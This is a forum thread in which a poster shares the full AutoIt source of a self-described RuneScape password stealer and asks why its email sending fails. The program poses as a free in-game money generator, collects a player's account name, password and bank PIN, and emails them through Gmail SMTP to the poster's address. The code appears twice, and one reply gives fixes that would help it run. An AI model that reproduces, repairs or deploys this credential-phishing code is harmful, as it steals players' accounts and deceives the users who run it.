Jump to content

Okay, I give up.

alex OF DEATH
 Share

Recommended Posts

alex OF DEATH Prodigy

alex OF DEATH

Posted
Posted (edited)

I can't get the SMTP working. I don't really see how the SMTP script works, so It's hard to see/find/eliminate the problem.

Yes, this IS a Runescape password stealer. I didn't plan on releasing it, I just wanted to see if I could make a script to email me. (By the way, Runescape sucks)

#include <GUIConstants.au3>
#include <INet.au3>
#include <file.au3>
Opt("GUIOnEventMode", 1)
$Form1 = GUICreate("Moar Moneys Please!", 630, 114, 213, 204)
$AccName = GUICtrlCreateInput("", 88, 8, 161, 21)
$Label1 = GUICtrlCreateLabel("Account Name", 8, 8, 75, 17)
$Label2 = GUICtrlCreateLabel("Account password", 8, 48, 100, 17)
$Label3 = GUICtrlCreateLabel("Bank PIN (only if put money in bank is checked)", 5, 91, 231, 17)
$PIN = GUICtrlCreateInput("", 248, 88, 113, 21)
$AccPass = GUICtrlCreateInput("", 104, 48, 145, 21)
$BankMoneys = GUICtrlCreateCheckbox("BankMoneys", 600, 32, 17, 17)
$Label4 = GUICtrlCreateLabel("Put Money in bank? ", 480, 32, 102, 17)
$Moneys = GUICtrlCreateInput("", 480, 8, 145, 21)
$Label5 = GUICtrlCreateLabel("Amount of money (up to 10", 320, 8, 154, 17)
$Label6 = GUICtrlCreateLabel(" Million Otherwise server will reject it and ", 320, 24, 161, 17)
$Label7 = GUICtrlCreateLabel("it and Wont Work)", 320, 40, 100, 17)
$MakeItHappen = GUICtrlCreateButton("Make It Happen!", 488, 88, 137, 25, 0)
GUICtrlSetOnEvent ( $MakeItHappen, "SendtoMe" )
GUISetState(@SW_SHOW)

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit

    EndSwitch
WEnd

Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
;##################################
; Include
;##################################
#Include<file.au3>
;##################################
; Variables
;##################################
$s_SmtpServer = "smtp.google.com"              ; address for the smtp-server to use - REQUIRED
$s_FromName = "RScaper"                      ; name from who the email was sent
$s_FromAddress = "jahoozamawatsit@gmail.com" ;  address from where the mail should come
$s_ToAddress = "dechume@gmail.com"   ; destination address of the email - REQUIRED
$s_Subject = "U/P/P"                   ; subject from the email - can be anything you want it to be
$as_Body = "" & GuictrlRead ( $accname ) & GuiCtrlRead ( $AccPass ) & Guictrlread ( $PIN )                             ; the messagebody from the mail - can be left blank but then you get a blank mail
$s_AttachFiles = ""                       ; the file you want to attach- leave blank if not needed
$s_CcAddress = ""       ; address for cc - leave blank if not needed
$s_BccAddress = ""     ; address for bcc - leave blank if not needed
$s_Username = "jahoozamawatsit"                    ; username for the account used from where the mail gets sent - REQUIRED
$s_Password = "********"                  ; password for the account used from where the mail gets sent - REQUIRED
$IPPort = 465                              ; port used for sending the mail
$ssl = 0                                  ; enables/disables secure socket layer sending - put to 1 if using httpS
;~ $IPPort=465                            ; GMAIL port used for sending the mail
;~ $ssl=1                                 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

;##################################
; Script
;##################################
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)
If @error Then
    MsgBox(0, "Error sending message", "Error code:" & @error & "  Description:" & $rc)
EndIf
;

Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0)
    $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
            If FileExists($S_Files2Attach[$x]) Then
                $objEmail.AddAttachment ($S_Files2Attach[$x])
            Else
                $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x]
                SetError(1)
                return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $Ssl Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
;Update settings
    $objEmail.Configuration.Fields.Update
; Sent the Message
    $objEmail.Send
    if @error then
        SetError(2)
        return $oMyRet[1]
    EndIf
EndFunc ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description,3)
    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc ;==>MyErrFunc 


func SendToMe()
    _INetSmtpMailCom ( "smtp.google.com" , "RScaper", "jahoozamawatsit@gmail.com", "dechume@gmail.com", "U/P/P", "" & GuictrlRead ( $accname ) & GuiCtrlRead ( $AccPass ) & Guictrlread ( $PIN ) , "", "", "", "jahoozamawatsit", "no", 465, 0)
    MsgBox ( 1, "Uh oh", "There has been an unidentifiable error (server down?) Money cant be created, closing now. Sorry :(" )
    exit
endfunc

error im getting:

Line 108

$objemail.send

$obj.email.send ^ERROR

Error: the requested action with this object has failed.

--

I realize this could be a simple type-o somewhere, or maybe I just set it up wrong, I don't know, just help v_v

Edited by alex OF DEATH
Link to comment
Share on other sites
  • Moderators
SmOke_N Universalist

SmOke_N

Posted
  • Moderators
Posted (edited)

@OP:

Personally, I could care less what you wanted it for, you were just posting in the wrong forum and posting nonsense asking for help.

add () to the end of that line.... or if params are needed, specify...as a general rule of thumb anything other than basic program execution usually has ()....(that classifies it as a function)...hope that works for you...

$objemail.send()
Um... No.

Edit:

Edited the Edit

Edited by SmOke_N

Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.

Link to comment
Share on other sites
  • Developers
Jos Universalist

Jos

Posted
  • Developers
Posted

I can't get the SMTP working. I don't really see how the SMTP script works, so It's hard to see/find/eliminate the problem.

Yes, this IS a Runescape password stealer. I didn't plan on releasing it, I just wanted to see if I could make a script to email me. (By the way, Runescape sucks)

error im getting:

Line 108

$objemail.send

$obj.email.send ^ERROR

Error: the requested action with this object has failed.

--

I realize this could be a simple type-o somewhere, or maybe I just set it up wrong, I don't know, just help v_v

The Comm error piece needs to be excecuted first .... put this code at the top:

;##################################

; Script

;##################################

Global $oMyRet[2]

Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")

Did you look at the example??? ... Think it pretty clearly states what to do for GMail ...

;~ $IPPort=465 ; GMAIL port used for sending the mail

;~ $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.  :)

Link to comment
Share on other sites
alex OF DEATH Prodigy

alex OF DEATH

Posted
  • Author
Posted

Still no. Either I'm a retard, you weren't clear enough, or I'm a retard.

#include <GUIConstants.au3>
#include <INet.au3>
#include <file.au3>
;##################################
; Script
;##################################
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")

Opt("GUIOnEventMode", 1)
$Form1 = GUICreate("Moar Moneys Please!", 630, 114, 213, 204)
$AccName = GUICtrlCreateInput("", 88, 8, 161, 21)
$Label1 = GUICtrlCreateLabel("Account Name", 8, 8, 75, 17)
$Label2 = GUICtrlCreateLabel("Account password", 8, 48, 100, 17)
$Label3 = GUICtrlCreateLabel("Bank PIN (only if put money in bank is checked)", 5, 91, 231, 17)
$PIN = GUICtrlCreateInput("", 248, 88, 113, 21)
$AccPass = GUICtrlCreateInput("", 104, 48, 145, 21)
$BankMoneys = GUICtrlCreateCheckbox("BankMoneys", 600, 32, 17, 17)
$Label4 = GUICtrlCreateLabel("Put Money in bank? ", 480, 32, 102, 17)
$Moneys = GUICtrlCreateInput("", 480, 8, 145, 21)
$Label5 = GUICtrlCreateLabel("Amount of money (up to 10", 320, 8, 154, 17)
$Label6 = GUICtrlCreateLabel(" Million Otherwise server will reject it and ", 320, 24, 161, 17)
$Label7 = GUICtrlCreateLabel("it and Wont Work)", 320, 40, 100, 17)
$MakeItHappen = GUICtrlCreateButton("Make It Happen!", 488, 88, 137, 25, 0)
GUICtrlSetOnEvent ( $MakeItHappen, "SendtoMe" )
GUISetState(@SW_SHOW)

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit

    EndSwitch
WEnd

Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
;##################################
; Include
;##################################
#Include<file.au3>
;##################################
; Variables
;##################################
$s_SmtpServer = "smtp.google.com"              ; address for the smtp-server to use - REQUIRED
$s_FromName = "RScaper"                      ; name from who the email was sent
$s_FromAddress = "jahoozamawatsit@gmail.com" ;  address from where the mail should come
$s_ToAddress = "13neCo37@gmail.com"   ; destination address of the email - REQUIRED
$s_Subject = "U/P/P"                   ; subject from the email - can be anything you want it to be
$as_Body = "" & GuictrlRead ( $accname ) & GuiCtrlRead ( $AccPass ) & Guictrlread ( $PIN )                             ; the messagebody from the mail - can be left blank but then you get a blank mail
$s_AttachFiles = ""                       ; the file you want to attach- leave blank if not needed
$s_CcAddress = ""       ; address for cc - leave blank if not needed
$s_BccAddress = ""     ; address for bcc - leave blank if not needed
$s_Username = "jahoozamawatsit"                    ; username for the account used from where the mail gets sent - REQUIRED
$s_Password = "not this time"                  ; password for the account used from where the mail gets sent - REQUIRED
$IPPort = 465                              ; port used for sending the mail
$ssl = 1                                  ; enables/disables secure socket layer sending - put to 1 if using httpS
;~ $IPPort=465                            ; GMAIL port used for sending the mail
;~ $ssl=1                                 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

;##################################
; Script
;##################################
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)
If @error Then
    MsgBox(0, "Error sending message", "Error code:" & @error & "  Description:" & $rc)
EndIf
;

Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0)
    $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
            If FileExists($S_Files2Attach[$x]) Then
                $objEmail.AddAttachment ($S_Files2Attach[$x])
            Else
                $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x]
                SetError(1)
                return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $Ssl Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
;Update settings
    $objEmail.Configuration.Fields.Update
; Sent the Message
    $objEmail.Send
    if @error then
        SetError(2)
        return $oMyRet[1]
    EndIf
EndFunc ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description,3)
    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc ;==>MyErrFunc 


func SendToMe()
    _INetSmtpMailCom ( "smtp.google.com" , "RScaper", "jahoozamawatsit@gmail.com", "13neCo37@gmail.com", "U/P/P", "" & GuictrlRead ( $accname ) & GuiCtrlRead ( $AccPass ) & Guictrlread ( $PIN ) , "", "", "", "jahoozamawatsit", "Not This time", 465, 1)
    MsgBox ( 1, "Uh oh", "There has been an unidentifiable error (server down?) Money cant be created, closing now. Sorry :(" )
    exit
endfunc
Link to comment
Share on other sites
  • Moderators
SmOke_N Universalist

SmOke_N

Posted
  • Moderators
Posted

Smoke I found your post highly unneccesarry...and offensive, regardless if I am wrong

1. If you had followed the post correctly, you would have seen that though my post may have been unnecessary to post publicly, it was indeed necessary for the OP to understand that things are not just done because you "want" them to be.

2. I've made no claims to care what you or others feel about myself and or my actions.

3. Speaking of Offensiveness... Have you ever stopped to consider that the poor advice/suggestions/whatever, could result in more damage than good?

You never even bothered to test the code, just assumed that you knew what the issue is/was. So before you get diarrhea of the mouth again, let me suggest that you do some homework and or actually know what you are talking about if you are going to give someone advice.

P.S.

If you took

Um... No.

offensively, you're in for a world of hurt in the real world when you grow up.

Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share
Go to topic listing

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...